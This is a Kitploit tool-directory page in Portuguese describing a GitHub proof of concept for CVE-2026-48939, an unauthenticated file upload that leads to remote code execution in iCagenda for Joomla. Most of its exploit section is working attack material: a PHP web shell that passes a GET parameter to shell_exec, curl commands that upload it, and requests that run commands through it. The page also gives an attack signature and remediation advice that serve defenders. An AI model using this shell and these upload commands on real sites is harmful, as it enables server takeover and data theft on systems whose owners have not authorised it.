Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
By-Poloss..-..CVE-2026-48939 — iCagenda Upload de arquivo não autenticado para RCE | Kitploit
Ferramentas/GitHubGitHub/polosss/by-poloss..-..cve-2026-48939
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubpolosss/by-poloss..-..cve-2026-48939

By-Poloss..-..CVE-2026-48939

iCagenda Upload de arquivo não autenticado para RCE

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
111há 2 mesesAinda não revisado
Compartilhar

CVE-2026-48939 - Upload de Arquivo Não Autenticado para RCE no iCagenda

Visão Geral

CampoValor
ID do CVECVE-2026-48939
Pontuação CVSS 4.010.0 Crítico
Vetor CVSSCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWECWE-284: Controle de Acesso Inadequado
Versões AfetadasiCagenda 3.2.1 - 3.9.14 e 4.0.0 - 4.0.7
Corrigido emiCagenda 4.0.8 e 3.9.15
Publicado em20 de Junho de 2026

Descrição da Vulnerabilidade

O iCagenda, um popular componente de eventos e calendário para Joomla, contém uma vulnerabilidade de upload de arquivo não autenticado que permite que atacantes remotos façam upload e executem código PHP arbitrário em sites Joomla 6.

Detalhes Técnicos

A vulnerabilidade existe no recurso de anexo de arquivo do formulário de submissão de eventos do frontend:

  1. Falta de Controle de Acesso: O endpoint de submissão (index.php?option=com_icagenda&task=registration.submit) não impõe autenticação, contornando a configuração de acesso "Apenas Usuários Registrados".

  2. Sem Validação de Arquivo: Os arquivos enviados são salvos com sua extensão original sem:

    • validação de lista de permissões de extensão
    • verificação de tipo MIME
    • inspeção de conteúdo do arquivo
  3. Escrita Direta de Arquivo: Os arquivos são escritos em /images/icagenda/frontend/attachments/[filename] diretamente sob a raiz da web.

  4. Execução PHP: No Joomla 6, os arquivos .php enviados são executáveis, levando à Execução Remota de Código (RCE).

Prova de Conceito

Método 1: Usando curl (Comando Único)

root@kitploit:~
# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF

# Upload the shell
curl -k -s \
  -F "title=Test Event" \
  -F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
  "https://poloss-jomola.ddev.site/icagenda_submit.php"

# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"

Método 2: Usando Script PoC

root@kitploit:~
# Navigate to project directory

# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site

Passos de Exploração

  1. Identificar endpoint vulnerável:

    root@kitploit:~
    https://target.com/index.php?option=com_icagenda&task=submit
    
  2. Fazer upload de web shell PHP:

    root@kitploit:~
    curl -X POST -F "jform[attachment][email protected]" \
      "https://target.com/index.php?option=com_icagenda&task=submit"
    
  3. Executar shell:

    root@kitploit:~
    curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
    

Impacto

  • Confidencialidade: Perda completa de confidencialidade - atacante pode ler todos os arquivos
  • Integridade: Perda completa de integridade - atacante pode modificar todos os dados
  • Disponibilidade: Perda completa de disponibilidade - atacante pode negar serviço
  • Execução Remota de Código: Comprometimento total do servidor

Assinatura de Ataque

Com base em logs de exploração do mundo real, a assinatura de ataque é:

root@kitploit:~
# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"

# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0

Remediação

  1. Imediata: Atualizar o iCagenda para a versão 4.0.8 (ou 3.9.15 para o branch legado)
  2. Alternativa: Remover ou renomear as pastas com_icagenda temporariamente
  3. Nota: Despublicar o componente NÃO protege contra esta vulnerabilidade

Referências

  • iCagenda Zero Day RCE - mysites.guru
  • iCagenda Official
  • Changelog 4.0.8
  • Aviso CISA ADP

Aviso Legal

Este PoC é apenas para fins educacionais e de teste de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal.

Baixar ferramenta